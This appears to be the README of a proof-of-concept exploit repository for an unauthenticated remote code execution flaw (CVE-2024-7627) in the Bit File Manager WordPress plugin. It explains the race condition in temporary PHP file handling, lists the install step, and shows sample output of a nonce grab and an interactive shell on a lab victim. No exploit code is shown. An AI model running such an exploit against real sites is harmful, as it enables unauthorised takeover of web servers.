
Proof-of-concept exploit for CVE-2024-7627, an unauthenticated remote code execution vulnerability in Bit File Manager WordPress plugin. Automates nonce extraction, race condition exploitation, and provides an interactive reverse shell.
This repository contains a proof-of-concept (PoC) exploit for CVE-2024-7627, a critical Unauthenticated Remote Code Execution (RCE) vulnerability in the Bit File Manager WordPress plugin (versions 6.0 – 6.5.5).
When the Guest User Read feature is enabled, the plugin exposes a race condition inside the checkSyntax function.
This function writes a temporary PHP file into /wp-content/uploads/ before validation, allowing attackers to request the file and execute arbitrary system commands.
requests, aiohttp, asyncio, beautifulsoup4Install dependencies:
pip install requests aiohttp beautifulsoup4
[*] Getting a valid AJAX nonce...
[+] Found the valid AJAX nonce: 65a1d91c63
[*] Getting a random file hash...
[+] Starting interactive shell. Type 'exit' to quit.
lab-shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
lab-shell> uname -a
Linux victim-wp 5.15.0-78-generic #85-Ubuntu SMP x86_64 GNU/Linux
lab-shell> whoami
www-data